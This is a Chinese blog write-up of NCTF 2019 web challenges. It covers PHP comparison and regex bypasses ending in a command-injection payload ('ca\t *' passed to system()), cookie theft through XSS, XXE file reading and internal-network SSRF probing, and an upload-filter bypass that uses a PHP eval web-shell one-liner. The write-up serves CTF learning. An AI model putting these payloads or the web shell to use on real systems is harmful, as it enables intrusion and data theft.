2019-NCTF web writeup(上)

2019-NCTF web writeup


收货

1.php常见绕过姿势
2.XXE漏洞利用技巧及SSRF
3.文件上传绕过姿势

2019NCTF题目

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('23333333');
}
//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);
    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'cxhp', '0123');
        $b = strtr($md5_2, 'cxhp', '0123');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}
//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
    die("too long :(");
}
if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
    $arr = explode(' ', $cmd);
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
        if(substr_count($cmd, 'cat') === 0){
            system($cmd);
        }
        else{
            die('ban cat :) ');
        }
    }
    else{
        die('bad guy!');
    }
}
else{
    die('nonono _ is bad');
}
?> 

这个题需要三次绕过,还是十分繁琐的。1st num的值不能是23333,然鹅num还是精确匹配num必须等于23333(正则表达式我得多补补qwq),这个时候要想到%0A进行绕过。在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。而此时PHP强类型num=23333%0A !== 23333绕过!2nd两个数字的md5要完全相等,这里is_numeric就说明不能数组绕过。四处打听发现md5(2120624)==md5(240610708),绕过!3rd 整个?后面的get不能有_的存在,但是让却让你用q_w_q,这个时候我也没太明白该怎么绕过。
PHP官方描述
有了这个就好聊了,所以直接构造payload:?num=23333%0A&str1=240610708&str2=2120624&q w q=ca\t *(PS:cat我在kali上c\at or ca\t 都是可以执行的,再来个*全端了),得到flag:NCTF{t3is_So_siiimpppllleeee_to_u}

说实话XSS的题确实少见,但是有了还是有招的,随便注册后发现直接可以XSS很开心,但是没有任何方向,这个时候admin账户被注册过了,想法是直接用admin的cookie登入,搭建好平台后,向admin发送XSS payload,瞬间看到了admin的cookie
XSS截图
利用admin账户的cookie登入进去之后,会很神奇的跳出来一个有着flag的网页,23333,应该是主要考察你能不能得到admin账户的cookie。

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
先日常看一下源码。

 
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatu);
        }
    }); 
}

看到了利用了XML和服务器进行通信,然后burp打开后发现存在回显
截图
题目已进行提示说flag就在/flag里直接构造payload:payload

登录界面和上题一模一样,不过题目说可以利用XML干更多的事了,这个时候我们先重复上次操作,看看有没有什么新的发现。看到/etc/passwd并无新的东西,这个时候我们想到XXE还有第二种利用方式,XXE&SSRF。有关XXE和SSRF的相关文章(参考来自Freebuff):XML实体攻击
重点是利用XXE来嗅探渗透内网,顺便自己补一下Linux下/proc/net/arp的用途叭。Linux和windows都能在dos环境下查看arp。参考链接Linux /proc/net/ 下文件用途,所以直接burp抓包后查看内网IP。
内网IP
这个时候其实我也很茫然,不知道应该怎么办,问了问队里其他大佬,发现知道了内网IP后不妨去看一看每一个内网,用Burp爆破同一个C段的内网IP发现192.168.1.8的返回长度不一样,注意这个时候看base64,payload:
payload
解密后得到flag:NCTF{XXE-labs_is_g00d}

一进去发现类似博客的页面,题目说让我找上传点,不难发现存在一处图片的上传点。
上传
话不多说,直接上传东西就完事了。发现只能上传图片,呜呜呜,不过这也是基本操作,考察上传绕过就完事了,我尝试了%00截断并未成功,MINE类型绕过也是并未成功,就先传一个普通的照片叭,居然告诉我这个。。。
弹个alert出来告诉我<? in contents!,即使是普通照片也会存在有<?,这里我们找到了思路,应该是附上PHP一句话,并且不能有<?上的存在,所以payload很明显,用<script language="php">@eval($_POST['hacker']);</scirpt>进行绕过,注意照片内容不出现<?,直接报给你一个图片链接。payload
看到url中有action=,本想尝试php://filter协议,失败告终,然后直接把fllag地址放进去,就出flag了。。看来还是我多想了。。

  • 未完待续…

发布了17 篇原创文章 · 获赞 3 · 访问量 1082

猜你喜欢

转载自blog.csdn.net/crisprx/article/details/103255631